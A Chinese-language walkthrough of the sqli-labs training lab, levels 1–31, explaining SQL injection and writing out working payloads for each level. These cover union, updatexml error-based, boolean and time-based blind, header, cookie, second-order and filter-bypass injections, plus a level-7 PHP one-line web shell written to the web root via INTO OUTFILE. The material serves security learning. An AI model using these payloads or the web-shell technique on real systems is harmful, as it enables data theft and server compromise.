Bootstrap

sqli-labs

sql注入的基本原理

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 

显示位的概念 

在 SQL 注入攻击中,"显示位"(也称为 "回显位")是指注入的恶意代码在数据库执行后,其结果是否被直接显示在页面上。这个概念通常用于判断注入攻击是否成功。

当攻击者进行 SQL 注入攻击时,他们会尝试在输入字段中插入恶意的 SQL 代码,例如通过表单输入栏或 URL 查询参数。如果注入的代码被成功执行,并且其结果直接显示在页面上(比如作为查询结果显示在网页上),那么我们就称这个攻击存在 "显示位"。

通过观察显示位,攻击者可以确认他们的注入代码被成功执行,并且可以进一步利用此漏洞进行更多的攻击,比如获取敏感数据、修改数据,甚至控制整个数据库。

爆值,爆库,爆列,爆表

在计算机安全领域中,"爆值"(也称为 "枚举值")是指通过枚举可能的值,以找到正确的密码、密钥或其他敏感信息的攻击方法。这个方法通常会使用暴力破解或字典攻击,尝试每个可能的值,直到找到正确的值。

"爆库"(或称为 "数据库爆破")是指攻击者尝试通过暴力破解或字典攻击来获取数据库登录凭据的过程。他们会尝试使用各种常见的用户名和密码组合来登录数据库,以找到有效的凭据。一旦攻击者成功获取了正确的凭据,他们可以访问数据库内的敏感信息,修改数据或进行其他恶意活动。

"爆列"(或称为 "列爆破")是指攻击者尝试通过猜测数据库表中的列名或属性名称,以获取更多有关数据库结构和信息的过程。攻击者可以使用常见的列名、常用的属性名称或根据应用程序的知识来猜测列名。通过了解数据库中的列名,攻击者可以更好地了解数据库结构,并在进一步的攻击中更有针对性地操作和利用数据。

在数据库领域中,"爆表"是指通过某种方式获取数据库中的所有表的名称或信息的行为。这个行为通常是通过对数据库进行未经授权的扫描或利用漏洞来实现的。

limit

LIMIT子句通常由两个参数组成,分别是OFFSET和COUNT。OFFSET表示从查询结果中的第几行开始返回,而COUNT表示要返回的行数。

例如,LIMIT 0, 10 表示从查询结果的第一行开始,返回10行数据。这样可以用于分页查询,每次查询只返回特定数量的结果。

less-1 '闭合

打开第一关后,它需要我们输入一个id的传参,那么我们在上面输入?id=1即可

看到这一关我们首先要想到的就是是不是我们要把这个id=1拼接到sql语句中,并且当作单独的sql代码进行的,那么我们首先输入一个and1=2看它有没有当作一个代码被执行,发现页面没有任何变化,那么我们可以初步判断这是一个字符型注入,那么我们可以尝试一下使用单引号进行闭合

我们在and前面加一个单引号,‘and 1=1-- 666,我们需要在--后面加一个空格,然后空格后面可以随便加内容,是为了防止我们输入的空格被忽略。

为什么需要加一个空格呢,是因为使用--注释时,需要使用空格,才能形成有效的sql语句。

这里我们还可以将--空格换为--+,这个+会被解释为空格。

然后我们会发现成功闭合。

然后我们将1=1换成1=2,那么我们会发现页面出现了异常,我们可以判断这里存在sql注入漏洞,很明显它把我们输入的内容当作了代码去处理。

那么我们接下来就应该去找它当前的字段数 ,为什么要查询字段数呢,这是因为在 SQL 注入攻击中,攻击者通常会利用查询字段数来确定目标数据库中表的结构。通过逐渐增加查询字段的数量,攻击者可以逐步了解目标数据库中表的列数和数据类型,从而更好地构造后续的恶意 SQL 查询语句。

我们输入order by 1,到4的时候,我们发现不正常了。那就说明在这里存在三个字段。

下一步我们来判断显位, 输入?id=1' union select 1,2,3 -- 666,然后发现没有报错,但是也没有回到回显位置。这个1,2,3没有任何含义,三个数组是因为有三个字段。

这是因为我们前面id=1的查询结果覆盖了回显,那么我们将前面的id换成很大的数字100,那么它前面就查询不出结果。

 

 那么上图中的2和3就是我们的显错位。将上面的2换成database(),2这个地方就变成了我们的库名。

 接下来我们爆表,输入?id=100' union select 1,2,table_name from information_schema.tables where table_schema='security' -- 666然后爆列?id=100' union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- 666

 爆值?id=100' union select 1,2,id from emails -- 666

less-2 数字型注入

第一步我们先判断类型,输入and 1=1,没响应,然后输入1=2,发现报错

我们初步判断这里是数字型注入。接下来的步骤与第一关相同。

less-3 ')闭合

输入and 1=1和1=2均没有反应,初步判断这是字符型注入。

接下来我们就构造闭合。

输入' and 1=2后我们观察报错

我们来查看一下源代码 ,发现id被括号括起来了。

那么我们就构造一个闭合 1') and 1=1 -- 666,发现没有报错,说明闭合成功。

然后判断回显位,接下来的操作还是和上面一样,跳过。

less-4 ")闭合

 还是先判断注入类型,发现是字符型注入。

我们先使用单引号输入,发现没有反应,那么我们输入个双引号" and 1=2,然后发现报错

查看源代码 ,发现这里使用双引号和括号进行了闭合

那么我们输入 ") and 1=1 -- 666,然后发现必闭合成功

接下来的操作与上面一致。注意需要将id=100.上面的1到4关都是

less-5 '

判断注入类型,发现是字符型注入。构造闭合输入’and 1=2

闭合了但是显示了一个错误,后面没有给注释掉,输入’and 1=2--+。然后正常。观察一下源代码,我们输入之后就会产生这样的效果。

然后接下来查询字段和上面的步骤一样.

接下来判断显错位,发现没有回显点。

在没有回显点的情况下我们一般要考虑盲注。但是我们查看数据库的时候,我们发现这里存在数据库的报错,那么我们就换一种思路updatexml报错

 输入构造语句updatexml(1,concat('!',database(),'!'),1)

爆库?id=1%27%20and%20updatexml(1,concat(%27!%27,database(),%27!%27),1)--+

 爆表

updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)

爆列 

updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)

 爆值

updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)

updatexml报错

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string ,代表路径,Xpath格式的字符串,例如//title[@lang]
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml()使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

 格式简化   updatexml(xx,concat(xx),xx),contact函数用来拼接字符。

 

 less-6 "

判断注入类型,与上面一致,我们发现这是个字符型注入。

" and 1=2

其他内容与上一关一致。 

less-7 木马

判断注入类型,是字符型注入,然后进行闭合。查看源码,闭合为?id=1')) -- 66

 查询到字段数为3

这里使用一句话木马

?id=1%27))%20union%20select%201,"<?php%20eval($_REQUEST[1])?>",3%20into%20outfile%20"D:/phpStudy/PHPTutorial/WWW/sqli/Less-7/6.php"--+%20--%2066

在使用的时候我们需要去检查我们的配置文件。

 添加下面的secure_file_priv=,然后重启电脑

就会发现我们的文件路径下多了一个6.php的文件 我们打开它就会发现里面有一句话木马

eval会将()中的内容当作php代码进行执行

$_REQUEST用来接受POST GET COOKIE传参

url中输入 Less-7/6.php?1=phpinfo();

 less-8 布尔

这一关用的是布尔盲注。

我们还是先判断注入类型?id=1%20%27and%201=2--+

发现是字符型注入,然后判断字段数,是3.

判断显错位的时候发现没有回显点,那么我们先在就考虑盲注

了解一下下面的几个函数

猜解库名长度

and length(database())>1,然后得到字段数为8

猜解库名

(ascii(substr(database(),1,1)))=115 

 字母s的ASCII码就是115。,说明第一位字母是s

(ascii(substr(database(),2,1)))=101,说明第二位字母是e

然后以此类推不断修改。

猜解表名

(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101

说明表名的第一位是e,以此类推。

猜解列名

(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105

说明列名的第一位是i,以此类推

less-9  时间

时间盲注

sleep用来延长页面显示时间 当第一个条件成立时 页面会延长显示时间

if用来判断条件是否成立 当第一个条件满足时 会执行第二个条件

1' and if(length(database())=8,sleep(5),1)--+

if((ascii(substr(database(),1,1))=115),sleep(5),1)--+

if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)--+

if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1)--+

只要前面的内容正确,就会延迟五秒进入页面

以此类推。

less-10 "

此关与上一关仅仅是闭合方式不同

1" and if(length(database())=8,sleep(5),1)--+

其他内容一致

less-11 post '

'or 1=1 -- qwe

'or 1=1 order by 3 -- q字段数

'union select 1,2 -- q显错位

'union select 1,database() -- q爆库

'union select 1,table_name from information_schema.tables where table_schema='security' -- q

爆表

'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- q爆列

'union select 1,id from emails -- q 爆值

less-12 post ")

仅仅是闭合不同,其他内容一样。

less-13 ')报错注入

')or updatexml(1,concat('!',(select database()),'!'),1) -- q

')or updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1) -- q

')or updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1) -- q

')or updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1) -- q

这和第五关是差别不大的

less-14 "报错注入

 "or 1=1 -- q

这一关仅仅是换了个闭合方式,其他内容一致。

less-15  布尔'

查看源码,是没有输出报错语句的,于是这里我们可以利用盲注的手段

就是利用到那几个关键函数,对我们的数据进行截取,一步步判断我们的数据.

接下来的操作和上面第五关盲注是一模一样的。

less-16 ")

less-17 密码

这里是一个密码重置。

username处过滤很多,所以我们在password地方进行注入。

我们需要输入账号admin

这一关我们是需要在password的地方输入payload

less-18 useragent

进去之后我们会发现浏览器记录了我们的ip信息

所以一旦我们在发现浏览器记录到我们的信息之后一定要想到头注入。查看源代码,发现直接把ua拼接到了sql语句中,所以我们想办法让他进行有一个传参,进行一个SQL注入因为我们在十七关输入了奇奇怪怪的东西,所以我们要先回到第十七关,将密码修改为123456

然后在18关进行登录操作

我们在这进行一下抓包,注意要先登录,输入admin,密码123456

在抓包的地方修改ua为'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1)-- qwe

然后放行。

 其他的内容如上面的图输入指定的payload即可

less-19 reference

在refer地方进行修改,输入上面图片的payload

在这里演示一下'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1)-- qwe

less-20 cookie

在cookie的地方输入 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe

less-21  cookie加密

查看源代码,发现进行了一个base64的解码

当我们在注释的时候会有空格或者#,在base加密的时候会出现错误

于是我们换成and'1'='1

这样子会构成一个正确的闭合于是我们对payload进行一个base64的加密

 less-22 "闭合

只是闭合情况不一样,其它都一样。

less-23 get

分析源码,我们需要构造语句 1' and 1=1 or '1'='1

这里不能用正常的注释符号,因为注释符号被过滤了,所以需要构造语句消去多余的符号

less-24 二次注入

攻击者恶意构造的数据存储到数据库之后,恶意数据被读取到sql查询语句所导致的注入。

分为两步,插入恶意数据,引用恶意数据

查看源代码,发现使用了mysql_real_escape_string这个函数,这个函数能够预防sql注入。

我们发现在username的地方没有使用这个函数。

我们先注册一个账号,然后登录。

发现有个可修改的密码, 

表面上看我们是修改了admin‘#用户的密码,但实际上我们修改的是用户admin的密码。

less-25 双写绕过 and or

分析源代码,将and和or给过滤了。

那么我们可以使用其他符号代替and和or,&&和||

但是&&在url中还有其他的意思,所以我们要对&&进行url编码。

输入?id=1'%26%26 1=1 -- 6,页面回显正常

继续受用updatexml报错注入的步骤

判断库名

但是当我们做到判断表名和列名的时候,发现information变成了infmation,去掉了or于是我们尝试双写绕过1'|| updatexml(1,concat('!',(select table_name from infoorrmation_schema.tables where table_schema='security' limit 0,1),'!'),1)-- q

其他步骤同之前。

less-26 and or 注释 空格 换行过滤

查看源代码,发现有很多的过滤。

对于and和or的过滤,我们可以通过双写去绕过,或者&&和||,但是&&需要进行url编码。
对于注释符号的过滤,我们可以通过 or ‘1’='1 绕过
而对于空格的过滤,我们可以通过括号绕过,或者是%0a和%a0.

爆库

1’|| updatexml(1,concat('!',(select(database())),'!'),1)||'1'='1

爆表

|| updatexml(1,concat('!',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),'!'),1) || '1'='1

爆列

|| updatexml(1,concat('!',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='emails'))),'!'),1) || '1'='1

爆值

|| updatexml(1,concat('!',(select(group_concat(id))from(emails)),'!'),1)|| '1'='1

less-27 select变写以及多字符

查看源代码和上一题相同,将select变成sElect即可。

less-28 盲注

查看源码,发现禁止使用union select组合。

 那么我们就尝试盲注

 注意后面一定要使用and,因为1=1肯定为真,要判断前面的为真,所以不能使用or

less-29 参数污染

这题用最开始的联合注入和显错就可以做

联合查询爆表

 报错查询爆库但是看其他的视频发现本题存在参数污染。

 ?id=1&id=100' union select 1,2,3 -- 123

其他内容相同,只是 ?id=1&id=100做了修改。

less-30 参数污染"

只是闭合方式成了",其他内容相同。

less-31 ")

闭合为"),其他一致

;